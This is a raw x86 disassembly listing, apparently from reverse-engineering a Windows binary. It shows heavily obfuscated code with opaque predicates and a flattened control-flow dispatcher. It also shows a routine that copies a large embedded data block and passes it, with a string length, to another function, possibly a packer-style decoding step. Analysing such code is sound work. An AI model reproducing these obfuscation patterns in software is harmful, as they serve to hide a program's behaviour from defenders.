mov cl, byte [ebp - 0x13a]
mov byte [ebp - 0x13d], al
mov al, byte [ebp - 0x13b]
or cl, al
mov al, byte [ebp - 0x13d]
xor al, cl
mov cl, byte [ebp - 0x137]
mov byte [ebp - 0x13e], al
mov al, byte [ebp - 0x13c]
or cl, al
xor cl, 0xff
or bh, 0
and cl, bh
mov bh, byte [ebp - 0x13e]
or bh, cl
mov cl, bh
xor cl, 0xff
and cl, 1
mov al, bl
xor al, 1
and bh, al
mov byte [ebp - 0x13f], al
mov al, bl
xor al, 1
and al, 0xff
mov byte [ebp - 0x140], al
mov al, byte [ebp - 0x13f]
and al, 1
or cl, bh
mov bh, byte [ebp - 0x140]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x128]
and al, 0
mov bh, byte [ebp - 0x128]
xor bh, 0
or al, bh
xor al, 0xff
mov bh, cl
xor bh, al
and bh, cl
mov al, ah
and al, bh
xor ah, bh
or al, ah
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, bl
xor ah, 1
mov bh, al
and bh, ah
or cl, bh
xor cl, 0xff
xor cl, 0
and cl, 0
mov ah, bl
xor ah, 0
and ah, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x141], al
mov al, bh
and al, 0
mov byte [ebp - 0x142], al
mov al, bl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x143], al
mov al, byte [ebp - 0x142]
or ah, al
mov al, byte [ebp - 0x143]
or al, bh
xor ah, al
mov al, byte [ebp - 0x141]
xor al, 0xff
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x144], al
mov al, bl
xor al, 1
mov byte [ebp - 0x145], al
mov al, byte [ebp - 0x144]
or al, bh
mov bh, byte [ebp - 0x145]
or bh, 1
xor al, 0xff
and al, bh
mov bh, bl
xor bh, 1
and bh, 0
mov byte [ebp - 0x146], al
mov al, bl
xor al, 0
mov byte [ebp - 0x147], al
and al, 1
mov byte [ebp - 0x148], al
mov al, bl
xor al, 1
and al, 0
mov byte [ebp - 0x149], al
mov al, byte [ebp - 0x147]
and al, 1
mov byte [ebp - 0x14a], al
mov al, byte [ebp - 0x148]
or bh, al
mov al, byte [ebp - 0x149]
mov byte [ebp - 0x14b], cl
mov cl, byte [ebp - 0x14a]
or al, cl
xor bh, al
xor bh, 0xff
mov al, bl
xor al, 0
mov cl, bl
xor cl, 0
or bh, al
or cl, 0
xor bh, 0xff
and bh, cl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov al, byte [ebp - 0x14b]
xor al, 0xff
mov cl, byte [ebp - 0x146]
xor cl, 0xff
mov byte [ebp - 0x14c], al
mov al, bl
xor al, 1
mov byte [ebp - 0x14d], al
mov al, byte [ebp - 0x14c]
and al, 0xff
mov byte [ebp - 0x14e], al
mov al, byte [ebp - 0x14b]
mov byte [ebp - 0x14f], cl
mov cl, byte [ebp - 0x14d]
and al, cl
mov cl, byte [ebp - 0x14f]
and cl, 0xff
mov byte [ebp - 0x150], al
mov al, byte [ebp - 0x146]
mov byte [ebp - 0x151], cl
mov cl, byte [ebp - 0x14d]
and al, cl
mov cl, byte [ebp - 0x14e]
mov byte [ebp - 0x152], al
mov al, byte [ebp - 0x150]
or cl, al
mov al, byte [ebp - 0x151]
mov byte [ebp - 0x153], cl
mov cl, byte [ebp - 0x152]
or al, cl
mov cl, byte [ebp - 0x153]
xor cl, al
mov al, byte [ebp - 0x14c]
mov byte [ebp - 0x154], cl
mov cl, byte [ebp - 0x14f]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x14d]
or cl, 1
and al, cl
mov cl, byte [ebp - 0x154]
or cl, al
mov al, bh
and al, ah
xor bh, ah
or al, bh
mov ah, cl
xor ah, 0xff
and ah, 0
mov bh, bl
xor bh, 0
and cl, bh
mov byte [ebp - 0x155], al
xor al, 0xff
and al, 0
mov byte [ebp - 0x156], al
mov al, byte [ebp - 0x155]
and al, bh
or ah, cl
mov cl, byte [ebp - 0x156]
or cl, al
xor ah, cl
mov al, bl
xor al, 1
and al, 1
mov cl, bl
xor cl, 1
mov bh, cl
and bh, 1
mov byte [ebp - 0x157], al
mov al, bl
xor al, 1
and al, 0xff
and cl, 1
mov byte [ebp - 0x158], al
mov al, byte [ebp - 0x157]
or al, bh
mov bh, byte [ebp - 0x158]
or bh, cl
xor al, bh
mov cl, byte [ebp - 0xe4]
xor cl, 0xff
and cl, 0
mov bh, bl
xor bh, 0
mov byte [ebp - 0x159], al
mov al, byte [ebp - 0xe4]
and al, bh
mov byte [ebp - 0x15a], al
mov al, bl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x15b], al
mov al, byte [ebp - 0x15a]
or cl, al
mov al, byte [ebp - 0x15b]
or al, bh
xor cl, al
mov al, bl
xor al, 1
and al, 1
mov bh, bl
xor bh, 1
and bh, 1
or al, bh
mov bh, byte [ebp - 0x159]
xor bh, 0xff
mov byte [ebp - 0x15c], al
mov al, bl
xor al, 1
mov byte [ebp - 0x15d], al
mov al, bl
xor al, 1
mov byte [ebp - 0x15e], al
mov al, byte [ebp - 0x15d]
or bh, al
mov al, byte [ebp - 0x15e]
or al, 1
xor bh, 0xff
and bh, al
mov al, bl
xor al, 1
mov byte [ebp - 0x15f], al
mov al, byte [ebp - 0x15c]
xor al, 0xff
mov byte [ebp - 0x160], al
mov al, bl
xor al, 0
mov byte [ebp - 0x161], al
mov al, byte [ebp - 0x15f]
mov byte [ebp - 0x162], cl
mov cl, byte [ebp - 0x160]
or al, cl
mov cl, byte [ebp - 0x161]
or cl, 0
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 1
mov byte [ebp - 0x163], al
mov al, byte [ebp - 0x162]
xor al, cl
mov cl, byte [ebp - 0x162]
and al, cl
mov cl, byte [ebp - 0x15c]
xor cl, 0xff
mov byte [ebp - 0x164], al
mov al, byte [ebp - 0xe4]
xor al, cl
mov cl, byte [ebp - 0xe4]
and al, cl
mov cl, bh
xor cl, 0xff
mov byte [ebp - 0x165], al
mov al, byte [ebp - 0x163]
xor al, 0xff
mov byte [ebp - 0x166], al
mov al, bl
xor al, 1
mov byte [ebp - 0x167], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x168], al
mov al, byte [ebp - 0x167]
and bh, al
mov al, byte [ebp - 0x166]
and al, 0xff
mov byte [ebp - 0x169], al
mov al, byte [ebp - 0x163]
mov byte [ebp - 0x16a], cl
mov cl, byte [ebp - 0x167]
and al, cl
mov cl, byte [ebp - 0x168]
or cl, bh
mov bh, byte [ebp - 0x169]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x16a]
mov bh, byte [ebp - 0x166]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x167]
or bh, 1
and al, bh
or cl, al
mov al, byte [ebp - 0x164]
xor al, 0xff
mov bh, byte [ebp - 0x165]
xor bh, 0xff
mov byte [ebp - 0x16b], al
mov al, bl
xor al, 1
mov byte [ebp - 0x16c], al
mov al, byte [ebp - 0x16b]
and al, 0xff
mov byte [ebp - 0x16d], al
mov al, byte [ebp - 0x164]
mov byte [ebp - 0x16e], cl
mov cl, byte [ebp - 0x16c]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x16f], al
mov al, byte [ebp - 0x165]
mov byte [ebp - 0x170], cl
mov cl, byte [ebp - 0x16c]
and al, cl
mov cl, byte [ebp - 0x16d]
mov byte [ebp - 0x171], al
mov al, byte [ebp - 0x16f]
or cl, al
mov al, byte [ebp - 0x170]
mov byte [ebp - 0x172], cl
mov cl, byte [ebp - 0x171]
or al, cl
mov cl, byte [ebp - 0x172]
xor cl, al
mov al, byte [ebp - 0x16b]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x16c]
or bh, 1
and al, bh
or cl, al
mov al, byte [ebp - 0x16e]
xor al, 0xff
and al, 0
mov bh, bl
xor bh, 0
mov byte [ebp - 0x173], al
mov al, byte [ebp - 0x16e]
and al, bh
mov byte [ebp - 0x174], al
mov al, cl
xor al, 0xff
and al, 0
and cl, bh
mov bh, byte [ebp - 0x173]
mov byte [ebp - 0x175], al
mov al, byte [ebp - 0x174]
or bh, al
mov al, byte [ebp - 0x175]
or al, cl
xor bh, al
mov al, byte [ebp - 0x159]
xor al, 0xff
mov cl, byte [ebp - 0x162]
xor cl, 0xff
mov byte [ebp - 0x176], al
mov al, bl
xor al, 1
mov byte [ebp - 0x177], al
mov al, byte [ebp - 0x176]
and al, 0xff
mov byte [ebp - 0x178], al
mov al, byte [ebp - 0x159]
mov byte [ebp - 0x179], cl
mov cl, byte [ebp - 0x177]
and al, cl
mov cl, byte [ebp - 0x179]
and cl, 0xff
mov byte [ebp - 0x17a], al
mov al, byte [ebp - 0x162]
mov byte [ebp - 0x17b], cl
mov cl, byte [ebp - 0x177]
and al, cl
mov cl, byte [ebp - 0x178]
mov byte [ebp - 0x17c], al
mov al, byte [ebp - 0x17a]
or cl, al
mov al, byte [ebp - 0x17b]
mov byte [ebp - 0x17d], cl
mov cl, byte [ebp - 0x17c]
or al, cl
mov cl, byte [ebp - 0x17d]
xor cl, al
mov al, byte [ebp - 0x176]
mov byte [ebp - 0x17e], cl
mov cl, byte [ebp - 0x179]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x177]
or cl, 1
and al, cl
mov cl, byte [ebp - 0x17e]
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x17f], al
mov al, bl
xor al, 1
and cl, al
mov al, byte [ebp - 0x17f]
or al, cl
mov cl, byte [ebp - 0x15c]
and cl, 1
mov byte [ebp - 0x180], al
mov al, byte [ebp - 0x15c]
xor al, 1
or cl, al
xor cl, 0xff
mov al, byte [ebp - 0x180]
xor al, cl
mov cl, byte [ebp - 0x180]
and al, cl
mov cl, bh
xor cl, 0xff
mov byte [ebp - 0x181], al
xor al, 0xff
mov byte [ebp - 0x182], al
mov al, bl
xor al, 1
mov byte [ebp - 0x183], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x184], al
mov al, byte [ebp - 0x183]
and bh, al
mov al, byte [ebp - 0x182]
and al, 0xff
mov byte [ebp - 0x185], al
mov al, byte [ebp - 0x181]
mov byte [ebp - 0x186], cl
mov cl, byte [ebp - 0x183]
and al, cl
mov cl, byte [ebp - 0x184]
or cl, bh
mov bh, byte [ebp - 0x185]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x186]
mov bh, byte [ebp - 0x182]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x183]
or bh, 1
and al, bh
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov bh, bl
xor bh, 1
and cl, bh
mov byte [ebp - 0x187], al
mov al, bl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x188], al
mov al, byte [ebp - 0x187]
or al, cl
mov cl, byte [ebp - 0x188]
or cl, bh
xor al, cl
mov cl, ah
xor cl, 0xff
mov bh, al
and bh, cl
xor al, 0xff
mov cl, ah
and cl, al
or bh, cl
xor ah, 0xff
mov al, bh
xor al, ah
and al, bh
mov cl, ch
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov bh, bl
xor bh, 1
or cl, ah
or bh, 1
xor cl, 0xff
and cl, bh
mov ah, ch
xor ah, 0xff
and ah, 0
xor bl, 0
and ch, bl
mov bh, al
xor bh, 0xff
and bh, 0
and al, bl
or ah, ch
or bh, al
xor ah, bh
mov al, cl
and al, ah
xor cl, ah
or al, cl
test al, 1
mov esi, dword [ebp - 0xc0]
cmovne esi, edx
mov dword [ebp - 0x28], esi
jmp 0x6e96f5
mov eax, 0x746e6d5c
mov ecx, 0xe78c85d6
mov dl, byte [ebp - 0xe]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x6e96f5
mov eax, 0x343c9012
mov ecx, 0x8c0a2e23
mov dl, 1
mov esi, 0x48a82f10
xor edi, edi
mov ebx, 0xa3dbddcc
mov dword [ebp - 0x18c], eax
mov eax, 0xdf6aaae1
mov dword [ebp - 0x190], eax
mov eax, dword [0x71b0ac]
mov dword [ebp - 0x194], eax
mov eax, dword [0x71b0a4]
mov dword [ebp - 0x198], eax
mov eax, edi
sub eax, 0xf54b2ae7
mov dword [ebp - 0x19c], ecx
mov ecx, dword [ebp - 0x194]
sub eax, ecx
add eax, 0xf54b2ae7
mov ecx, edi
sub ecx, 0xc4da44f2
add ecx, 0
mov dword [ebp - 0x1a0], eax
mov eax, edi
mov dword [ebp - 0x1a4], ecx
mov ecx, dword [ebp - 0x1a0]
sub eax, ecx
mov ecx, edi
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x1a4]
sub ecx, eax
mov eax, dword [ebp - 0x1a8]
add eax, ecx
mov ecx, edi
sub ecx, eax
mov eax, dword [ebp - 0x190]
add eax, 0
sub eax, ecx
sub eax, 0xdf6aaae1
add ebx, 0
sub ebx, 1
sub ebx, 0xa3dbddcc
mov ecx, edi
sub ecx, eax
mov eax, edi
sub eax, ebx
add ecx, eax
sub edi, ecx
add esi, 0
sub esi, 0xc4da44f2
sub esi, 0x48a82f10
sub edi, 0xc8a0b428
add edi, esi
add edi, 0xc8a0b428
mov eax, dword [ebp - 0x194]
imul eax, edi
and eax, 1
cmp eax, 0
sete dh
mov eax, dword [ebp - 0x198]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, al
and bl, ch
or cl, bl
mov ch, dl
xor ch, 1
and ch, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 1
mov byte [ebp - 0x1a9], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, ah
and al, cl
xor ah, cl
or al, ah
mov cl, dl
xor cl, 1
mov ah, ch
xor ah, 0xff
mov bl, dl
xor bl, 0
mov bh, cl
and bh, 0
mov byte [ebp - 0x1aa], al
mov al, bl
and al, 1
mov byte [ebp - 0x1ab], al
mov al, ah
and al, 0
and ch, bl
mov byte [ebp - 0x1ac], al
mov al, byte [ebp - 0x1ab]
or bh, al
mov al, byte [ebp - 0x1ac]
or al, ch
xor bh, al
or cl, ah
xor cl, 0xff
or bl, 0
and cl, bl
or bh, cl
mov al, byte [ebp - 0x1aa]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0x1aa]
and ah, cl
or al, ah
xor bh, 0xff
mov cl, al
xor cl, bh
and cl, al
mov al, dh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov ch, dh
and ch, ah
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or al, ch
or bl, ah
xor al, bl
mov ah, dl
xor ah, 1
xor al, 0xff
mov ch, dl
xor ch, 0
or ah, al
or ch, 0
xor ah, 0xff
and ah, ch
mov al, dl
xor al, 1
and al, 1
mov ch, dl
xor ch, 1
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or al, bl
or bh, ch
xor al, bh
xor dh, 0xff
mov ch, al
xor ch, 0xff
mov bl, dl
xor bl, 0
or dh, ch
or bl, 0
xor dh, 0xff
and dh, bl
mov ch, byte [ebp - 0x1a9]
xor ch, 0xff
and ch, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0x1a9]
and bh, bl
or ch, bh
xor ch, 0xff
mov bl, dl
xor bl, 1
mov bh, dl
xor bh, 0
or ch, bl
or bh, 0
xor ch, 0xff
and ch, bh
xor al, 0xff
mov bl, byte [ebp - 0x1a9]
xor bl, al
mov al, byte [ebp - 0x1a9]
and bl, al
mov bh, ah
xor bh, 0xff
mov al, dh
xor al, 0xff
mov byte [ebp - 0x1ad], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1ae], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1af], al
mov al, byte [ebp - 0x1ae]
and ah, al
mov al, byte [ebp - 0x1ad]
and al, 0xff
mov byte [ebp - 0x1b0], al
mov al, byte [ebp - 0x1ae]
and dh, al
mov al, byte [ebp - 0x1af]
or al, ah
mov ah, byte [ebp - 0x1b0]
or ah, dh
xor al, ah
mov ah, byte [ebp - 0x1ad]
or bh, ah
xor bh, 0xff
mov dh, byte [ebp - 0x1ae]
or dh, 1
and bh, dh
or al, bh
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov ch, al
xor ch, 0xff
and ch, 0
xor dl, 0
and al, dl
mov bl, dh
xor bl, 0xff
and bl, 0
and dh, dl
or ch, al
or bl, dh
xor ch, bl
mov al, ch
xor al, 0xff
mov dl, cl
xor dl, al
and dl, cl
mov al, cl
xor al, 0xff
mov dh, ch
and dh, al
xor ch, 0xff
and cl, ch
or dh, cl
mov al, dl
and al, dh
xor dl, dh
or al, dl
test al, 1
mov esi, dword [ebp - 0x18c]
mov edi, dword [ebp - 0x19c]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x6e96f5
lea eax, [0x6ed404]
mov ecx, 0x2ac00
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x2ac00
mov dword [ebp - 0x1b4], ecx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
sub esp, 4
mov dword [esp], edx
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1bc], ecx
call sub.KERNEL32.dll_lstrlenA
mov ecx, 0x2ac00
sub esp, 0x10
mov edx, dword [ebp - 0x1b8]
mov dword [esp], edx
mov edx, dword [ebp - 0x1bc]
mov dword [esp + 4], edx
mov dword [esp + 8], 0x2ac00
mov dword [esp + 0xc], eax
mov dword [ebp - 0x1c0], ecx
call fcn.00658de0
add esp, 0x10
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
sub esp, 4
mov dword [esp], ecx
mov dword [ebp - 0x1c4], eax
call fcn.00693fe0
add esp, 4
mov ecx, 0x343c9012
mov edx, 0x6d832e90
mov bl, 1
xor esi, esi
mov edi, dword [ebp - 0x18]
mov dword [edi], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
setne bh
and bh, 1
mov byte [ebp - 0xd], bh
mov eax, dword [0x71b0ac]
mov edi, dword [0x71b0a4]
mov dword [ebp - 0x1c8], eax
sub eax, 0xdc98fa7c
sub eax, 0x761bae3b
add eax, 0xdc98fa7c
mov dword [ebp - 0x1cc], eax
mov eax, esi
sub eax, 0xcf255134
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x1d4], ecx
mov ecx, dword [ebp - 0x1d0]
add eax, ecx
mov ecx, esi
sub ecx, 0x761bae3b
sub eax, ecx
sub eax, 0x946418d7
add eax, 0x25f00587
add eax, 0x946418d7
mov ecx, esi
sub ecx, 1
add eax, ecx
add eax, 0xfa624054
sub eax, 0x25f00587
sub eax, 0xfa624054
sub esi, 0xcf255134
add esi, 0
sub eax, 0xe71fa21b
sub eax, esi
add eax, 0xe71fa21b
mov ecx, dword [ebp - 0x1c8]
imul ecx, eax
and ecx, 1
cmp ecx, 0
sete bh
cmp edi, 0xa
setl al
mov ah, bh
xor ah, 0xff
and ah, 1
mov cl, bl
xor cl, 1
mov ch, bh
and ch, cl
mov byte [ebp - 0x1d5], al
mov al, bl
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
or al, cl
xor ah, al
xor ah, 0xff
xor ah, 0
and ah, 0
mov al, bl
xor al, 0
and al, 1
mov cl, bl
xor cl, 1
and cl, 0
or al, cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, cl
and ch, bh
mov cl, bl
xor cl, 1
and cl, 1
mov byte [ebp - 0x1d6], al
mov al, bl
xor al, 1
and al, 1
or cl, al
mov al, bl
xor al, 0
mov byte [ebp - 0x1d7], al
mov al, cl
mov byte [ebp - 0x1d8], cl
mov cl, byte [ebp - 0x1d7]
xor al, cl
mov cl, byte [ebp - 0x1d8]
and al, cl
mov cl, byte [ebp - 0x1d6]
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x1d9], al
mov al, ah
xor al, 0xff
mov byte [ebp - 0x1da], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x1db], al
mov al, bl
xor al, 0
mov byte [ebp - 0x1dc], al
mov al, byte [ebp - 0x1da]
and al, 0
mov byte [ebp - 0x1dd], al
mov al, byte [ebp - 0x1dc]
and ah, al
mov al, byte [ebp - 0x1db]
and al, 0
mov byte [ebp - 0x1de], al
mov al, byte [ebp - 0x1dc]
and ch, al
mov al, byte [ebp - 0x1dd]
or al, ah
mov ah, byte [ebp - 0x1de]
or ah, ch
xor al, ah
mov ah, byte [ebp - 0x1da]
mov ch, byte [ebp - 0x1db]
or ah, ch
xor ah, 0xff
mov ch, byte [ebp - 0x1dc]
or ch, 0
and ah, ch
or al, ah
mov ah, byte [ebp - 0x1d9]
and ah, cl
mov ch, byte [ebp - 0x1d9]
xor ch, cl
or ah, ch
mov cl, al
xor cl, 0xff
mov ch, ah
and ch, cl
xor ah, 0xff
and al, ah
or ch, al
mov al, byte [ebp - 0x1d5]
xor al, 0xff
and al, 0
mov cl, bl
xor cl, 0
mov ah, byte [ebp - 0x1d5]
and ah, cl
mov byte [ebp - 0x1df], al
mov al, bl
xor al, 1
and al, 0
and cl, 1
mov byte [ebp - 0x1e0], al
mov al, byte [ebp - 0x1df]
or al, ah
mov ah, byte [ebp - 0x1e0]
or ah, cl
xor al, ah
mov cl, bl
xor cl, 1
xor al, 0xff
mov ah, bl
xor ah, 0
or cl, al
or ah, 0
xor cl, 0xff
and cl, ah
mov al, bl
xor al, 1
and al, 1
mov ah, bl
xor ah, 1
and ah, 1
or al, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1e1], al
mov al, byte [ebp - 0x1d5]
xor al, ah
mov ah, byte [ebp - 0x1d5]
and al, ah
mov ah, bl
xor ah, 1
and ah, 1
mov byte [ebp - 0x1e2], al
mov al, bl
xor al, 1
and al, 1
or ah, al
mov al, bl
xor al, 1
mov byte [ebp - 0x1e3], al
mov al, ah
mov byte [ebp - 0x1e4], cl
mov cl, byte [ebp - 0x1e3]
xor al, cl
and al, ah
mov cl, byte [ebp - 0x1e1]
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, byte [ebp - 0x1e4]
mov byte [ebp - 0x1e5], al
mov al, byte [ebp - 0x1e2]
and ah, al
mov al, byte [ebp - 0x1e4]
mov byte [ebp - 0x1e6], cl
mov cl, byte [ebp - 0x1e2]
xor al, cl
or ah, al
mov al, byte [ebp - 0x1e5]
xor al, 0xff
mov cl, byte [ebp - 0x1e6]
xor cl, 0xff
mov byte [ebp - 0x1e7], al
mov al, bl
xor al, 1
mov byte [ebp - 0x1e8], al
mov al, byte [ebp - 0x1e7]
and al, 0xff
mov byte [ebp - 0x1e9], al
mov al, byte [ebp - 0x1e5]
mov byte [ebp - 0x1ea], cl
mov cl, byte [ebp - 0x1e8]
and al, cl
mov cl, byte [ebp - 0x1ea]
and cl, 0xff
mov byte [ebp - 0x1eb], al
mov al, byte [ebp - 0x1e6]
mov byte [ebp - 0x1ec], cl
mov cl, byte [ebp - 0x1e8]
and al, cl
mov cl, byte [ebp - 0x1e9]
mov byte [ebp - 0x1ed], al
mov al, byte [ebp - 0x1eb]
or cl, al
mov al, byte [ebp - 0x1ec]
mov byte [ebp - 0x1ee], cl
mov cl, byte [ebp - 0x1ed]
or al, cl
mov cl, byte [ebp - 0x1ee]
xor cl, al
mov al, byte [ebp - 0x1e7]
mov byte [ebp - 0x1ef], cl
mov cl, byte [ebp - 0x1ea]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x1e8]
or cl, 1
and al, cl
mov cl, byte [ebp - 0x1ef]
or cl, al
mov al, ah
xor al, 0xff
mov byte [ebp - 0x1f0], al
mov al, cl
mov byte [ebp - 0x1f1], cl
mov cl, byte [ebp - 0x1f0]
and al, cl
mov cl, byte [ebp - 0x1f1]
xor cl, 0xff
and ah, cl
or al, ah
mov cl, bl
xor cl, 0
and cl, 0
mov ah, bl
xor ah, 0
mov byte [ebp - 0x1f2], al
mov al, ah
and al, 0
mov byte [ebp - 0x1f3], al
mov al, bl
xor al, 1
and al, 0
and ah, 1
mov byte [ebp - 0x1f4], al
mov al, byte [ebp - 0x1f3]
or cl, al
mov al, byte [ebp - 0x1f4]
or al, ah
xor cl, al
mov al, bl
xor al, 1
xor cl, 0xff
mov ah, bl
xor ah, 0
or al, cl
or ah, 0
xor al, 0xff
and al, ah
mov cl, bl
xor cl, 1
and cl, 1
mov ah, bl
xor ah, 1
and ah, 1
or cl, ah
mov ah, bl
xor ah, 0
xor cl, 0xff
mov byte [ebp - 0x1f5], al
mov al, bl
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov al, byte [ebp - 0x1f5]
and al, ah
mov cl, byte [ebp - 0x1f5]
xor cl, ah
or al, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov ah, bl
xor ah, 1
mov byte [ebp - 0x1f6], al
mov al, ch
and al, ah
or cl, al
mov al, bl
xor al, 0
and al, 1
mov ah, bl
xor ah, 1
mov byte [ebp - 0x1f7], al
mov al, ah
and al, 0
mov byte [ebp - 0x1f8], al
mov al, bl
xor al, 1
and al, 0xff
and ah, 1
mov byte [ebp - 0x1f9], al
mov al, byte [ebp - 0x1f7]
mov byte [ebp - 0x1fa], cl
mov cl, byte [ebp - 0x1f8]
or al, cl
mov cl, byte [ebp - 0x1f9]
or cl, ah
xor al, cl
mov cl, bl
xor cl, 0
and cl, 1
mov ah, bl
xor ah, 1
and ah, 0
or cl, ah
mov ah, byte [ebp - 0x1fa]
xor ah, 0xff
mov byte [ebp - 0x1fb], al
xor al, 0xff
mov byte [ebp - 0x1fc], al
mov al, bl
xor al, 0
mov byte [ebp - 0x1fd], al
mov al, ah
and al, 0
mov byte [ebp - 0x1fe], al
mov al, byte [ebp - 0x1fa]
mov byte [ebp - 0x1ff], cl
mov cl, byte [ebp - 0x1fd]
and al, cl
mov cl, byte [ebp - 0x1fc]
and cl, 0
mov byte [ebp - 0x200], al
mov al, byte [ebp - 0x1fb]
mov byte [ebp - 0x201], cl
mov cl, byte [ebp - 0x1fd]
and al, cl
mov cl, byte [ebp - 0x1fe]
mov byte [ebp - 0x202], al
mov al, byte [ebp - 0x200]
or cl, al
mov al, byte [ebp - 0x201]
mov byte [ebp - 0x203], cl
mov cl, byte [ebp - 0x202]
or al, cl
mov cl, byte [ebp - 0x203]
xor cl, al
mov al, byte [ebp - 0x1fc]
or ah, al
xor ah, 0xff
mov al, byte [ebp - 0x1fd]
or al, 0
and ah, al
or cl, ah
mov al, bl
xor al, 0
mov ah, byte [ebp - 0x1ff]
xor ah, 0xff
mov byte [ebp - 0x204], al
mov al, bl
xor al, 1
mov byte [ebp - 0x205], al
mov al, byte [ebp - 0x204]
and al, 0xff
mov byte [ebp - 0x206], al
mov al, byte [ebp - 0x205]
and al, 0
mov byte [ebp - 0x207], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x208], al
mov al, byte [ebp - 0x1ff]
mov byte [ebp - 0x209], cl
mov cl, byte [ebp - 0x205]
and al, cl
mov cl, byte [ebp - 0x206]
mov byte [ebp - 0x20a], al
mov al, byte [ebp - 0x207]
or cl, al
mov al, byte [ebp - 0x208]
mov byte [ebp - 0x20b], cl
mov cl, byte [ebp - 0x20a]
or al, cl
mov cl, byte [ebp - 0x20b]
xor cl, al
mov al, byte [ebp - 0x204]
or al, ah
xor al, 0xff
mov ah, byte [ebp - 0x205]
or ah, 1
and al, ah
or cl, al
mov al, byte [ebp - 0x209]
xor al, 0xff
and al, 1
mov ah, bl
xor ah, 1
mov byte [ebp - 0x20c], al
mov al, byte [ebp - 0x209]
and al, ah
mov ah, byte [ebp - 0x20c]
or ah, al
xor cl, 0xff
mov al, ah
xor al, cl
and al, ah
mov cl, byte [ebp - 0x1f6]
xor cl, 0xff
and cl, 1
mov ah, bl
xor ah, 1
mov byte [ebp - 0x20d], al
mov al, byte [ebp - 0x1f6]
and al, ah
mov byte [ebp - 0x20e], al
mov al, bl
xor al, 1
and al, 0xff
and ah, 1
mov byte [ebp - 0x20f], al
mov al, byte [ebp - 0x20e]
or cl, al
mov al, byte [ebp - 0x20f]
or al, ah
xor cl, al
mov al, bh
xor al, 0xff
and al, 1
mov ah, bl
xor ah, 1
mov byte [ebp - 0x210], al
mov al, bh
and al, ah
mov byte [ebp - 0x211], al
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
mov ah, byte [ebp - 0x210]
mov byte [ebp - 0x212], al
mov al, byte [ebp - 0x211]
or ah, al
mov al, byte [ebp - 0x212]
or al, cl
xor ah, al
xor bh, 0xff
mov al, ah
xor al, bh
and al, ah
mov cl, byte [ebp - 0x1f2]
xor cl, 0xff
and cl, 1
mov ah, bl
xor ah, 1
mov bh, byte [ebp - 0x1f2]
and bh, ah
or cl, bh
mov ah, bl
xor ah, 0
and ah, 1
mov bh, bl
xor bh, 1
and bh, 0
or ah, bh
mov bh, bl
xor bh, 0
and bh, 0
mov byte [ebp - 0x213], al
mov al, bl
xor al, 0
mov byte [ebp - 0x214], al
and al, 0
mov byte [ebp - 0x215], al
mov al, bl
xor al, 1
and al, 0
mov byte [ebp - 0x216], al
mov al, byte [ebp - 0x214]
and al, 1
mov byte [ebp - 0x217], al
mov al, byte [ebp - 0x215]
or bh, al
mov al, byte [ebp - 0x216]
mov byte [ebp - 0x218], cl
